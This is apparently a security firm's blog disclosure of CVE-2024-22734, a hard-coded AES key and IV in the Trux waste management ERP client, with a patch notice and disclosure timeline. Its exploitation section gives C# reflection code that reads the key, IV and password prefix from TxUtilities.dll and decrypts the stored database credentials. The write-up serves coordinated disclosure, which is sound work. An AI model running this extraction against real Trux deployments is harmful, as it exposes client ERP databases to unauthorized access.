CVE-2024-22734: Zero Day Exploit Write-Up

Abstract

In this blog post, we disclose a critical security vulnerability (CVE-2024-22734) discovered in Trux, a leading waste management ERP software developed by AMCS Group. The flaw, identified during a routine penetration test conducted by Redline Cyber Security, involves a static, hard-coded AES Key-IV pair that led to a complete takeover of the application and full access to the integrated ERP database of any client deployment. This report outlines the discovery process, technical details, potential impacts, and the collaborative efforts made with AMCS Group to remediate this issue.

Introduction

During a routine penetration test of a client using the Trux software, a critical vulnerability was identified. This issue stemmed from the use of a static, global hard-coded AES Key-IV pair, along with a predictable encryption algorithm within the software. The presence of this hard-coded key enables the decryption of application secrets and access to privileged database account credentials. This, in turn, could compromise the backend client ERP data. While this issue requires local access to exploit and is not remotely exploitable, its significance cannot be understated, especially considering the broader customer base of AMCS. Consequently, this emphasized the need for a well-coordinated and responsible disclosure process to address the potential risk for organizations relying on Trux software for waste management operations.

Discovery of the Vulnerability

Deployment and Configuration

Trux software, commonly used in the waste management industry, is typically deployed as a thick client on user workstations or over a network file share using SMB protocol. This simple 2-tier architecture allows for direct connections to the backend database for the real-time operational data access required in this sector. There is no intermediary between the client and server.

Notably, the software's installation on a UNC file share accessed via SMB is considered legacy, yet is still prevalent in the industry. This method often leads to misconfigurations, especially in the program files' permissions, where the assemblies (.dll files) necessary for the application's operation are stored. These files, ideally read-only, can sometimes be misconfigured to allow read/write access, increasing the risk of unauthorized modifications or exploitations.

Assembly Analysis and Debugging

We reviewed the assemblies of the Trux application to understand its internal workings and identify potential security flaws. Assemblies in thick client applications like Trux contain crucial code and logic that, when decompiled, provide insights into data handling, encryption practices, and possible vulnerabilities. By examining these assemblies, we can assess how the application manages its security, often leading to discoveries of critical vulnerabilities hidden within the application libraries. In order to determine which assembly to start with, the application is launched with dnSpy (our decompiler of choice for .NET applications) to begin the reverse-engineering process.

Initial Findings

In our security assessments of thick client applications, we often start by searching for hardcoded sensitive data such as credentials and encryption keys, which can sometimes be found in configuration files without needing to decompile the application. For instance, while using Procmon to examine the Trux software at launch, we noticed that it reads data from the TruxUser.cfg file prompting further investigation into its contents. This file contains various settings, including an encrypted string crucial for database connectivity. The decryption of this string is pivotal for the application's functionality, providing the credentials necessary to access the backend database.

Digging deeper...

As there was no direct information disclosure in the configuration due to the encrypted secret, we had to pivot into decompiling the application and begin the debugging process using dnSpy.

Viewing the strings in the process memory of Trux.exe we knew the application is providing some sort of decryption of the cipher-text found in the configuration, and then loading those credentials into its process memory.

The application first parses the configuration file and feeds it through obfuscated functions to decrypt the ciphertext. By setting breakpoints in key areas, we were able to watch and follow this data as it moved through the application's code flow.

Tracing the Dataflow and Decoding the Secret

In our analysis, we pinpointed that sensitive operations related to the database connection were executed within the TxUtilities.dll assembly. Our dataflow investigation revealed a complex series of obfuscated functions leading to the retrieval of a database secret fragment stored in the variable u0002. This fragment, essentially the first part of the database credentials, is a hard-coded prefix embedded within the source code but obscured through heavy obfuscation and dynamically accessed during runtime.

Interestingly, the prefix remains unchanged even when the cipher-text in the configuration file is altered. We confirmed this by modifying the cipher-text by one character and monitoring the application's reaction in the u0002 variable. After the modification of the cipher-text, the prefix stayed consistent, but the subsequent segment failed to decrypt properly, resulting in a display of random characters instead of the expected cleartext value.

By setting breakpoints and inspecting variables, we verified that the `\u0005` field stores the result of the predictable de-obfuscation routine, resulting in the first part of the database password. Essentially, the credentials are a mix of a hard-coded prefix, de-obfuscated and stored in the variable `\u0005`, and an encrypted portion from the configuration file, culminating in the full credential represented by the variable u0002.

Upon uncovering the predictable algorithm, we proceeded to search for the decryption key within the TxUtilities.Database class using dnSpy. Our reversing revealed private fields marked with obscure identifiers, \u001A and \u001B, whose purposes weren't immediately clear, likely due to obfuscation aimed at making reverse engineering more difficult. By setting breakpoints and executing the application, we confirmed that these fields indeed contained the AES IV and Key used to decrypt the cipher-text in the configuration file.

With the AES key and the predictable algorithm in hand, we are now equipped to craft an exploit for this vulnerability.

Exploitation via C# Reflection

By leveraging reflection, we bypassed the conventional access controls typically used in C# applications to uncover hardcoded cryptographic keys. With the ability to read the contents of the program files directory (where the application assemblies are stored), we used reflection to dynamically load the TxUtilities.dll file into memory. This approach allowed us to inspect and interact with the DLL's internal structures without modifying or directly executing the file, circumventing traditional security measures.

First, we loaded the TxUtilities.dll assembly,

Assembly assembly = Assembly.LoadFrom("TxUtilities.dll");

Then we targeted the TxUtilities.Database class

Type type = assembly.GetType("TxUtilities.Database");

Next, we created an instance of the TxUtilities.Database class to access its private fields.

object classInstance = Activator.CreateInstance(type);

The database user and password prefix are extracted using reflection

string fieldValue3 = GetPrivateFieldValue<string>(type, classInstance, "\u0003");
string fieldValue5 = GetPrivateFieldValue<string>(type, classInstance, "\u0005");

We then extracted the Base64 encrypted value from the TruxUser.cfg file

string base64Value = ExtractBase64Value("TruxUser.cfg");

The AES IV and Key are retrieved to decrypt the cipher-text

byte[] fieldValueIV = GetPrivateFieldValue<byte[]>(type, classInstance, "\u001A");
byte[] fieldValueKey = GetPrivateFieldValue<byte[]>(type, classInstance, "\u001B");
byte[] cipherTextBytes = Convert.FromBase64String(base64Value); 
string decryptedText = DecryptStringFromBytes_Aes(cipherTextBytes, fieldValueKey, fieldValueIV);

Lastly, we combined the decrypted password with the prefix to display the full database credentials.

string cleanedText = decryptedText.Replace("\0", string.Empty);
Console.WriteLine("Database User : [" + fieldValue3 + "]");
Console.WriteLine("Database Password: [" + fieldValue5 + cleanedText + "]");

Exploit POC

We will post the full exploit POC code HERE shortly following this public release of CVE-2024-22734.

‍

Coordinated Disclosure

After uncovering this vulnerability within the Trux software, we engaged in a responsible and coordinated disclosure process with AMCS Group. Recognizing the potential impact, we worked diligently with AMCS to ensure that a robust patch was developed and deployed in a timely manner.

Vendor Patch and Security Update
AMCS Group has addressed this vulnerability by releasing a security update, which includes a patch to rectify the predictable algorithm and hardcoded AES Key-IV issue. Clients are urged to reach out and apply this update immediately to secure their systems against potential exploitation.

AMCS has provided the following guidance for Trux users:
Please contact AMCS TRUX Support at 1 (800) 962-9264 to coordinate installation of TRUX Patch Version 7.19.0018.26912
AMCS Support Portal: https://www.support.amcsgroup.com/

Coordinated Disclosure Timeline

- 11/20/2023: The vulnerability was initially identified by Bryan Smith (@securekomodo) during a routine penetration test.
- 11/29/2023: AMCS Group was informed of the finding
- 01/03/2024: VINCE case was opened with CERT/CC to assist with coordinated disclosure.
- 01/29/2024: MITRE assigns and reserves CVE-2024-22734 to track this vulnerability.
- 02/19/2024: Collaborative efforts for patch development were undertaken, culminating in the release of the TRUX Patch Version 7.19.0018.26912.
- 04/09/2024: Following the successful deployment of the patch and AMCS verification, we proceeded with the public disclosure of this vulnerability.

Acknowledgments

Thank you to AMCS Group for their response and cooperative stance throughout the disclosure process. Their commitment to security and willingness to work alongside our team at Redline Cyber Security has been highly effective in transparently mitigating this vulnerability.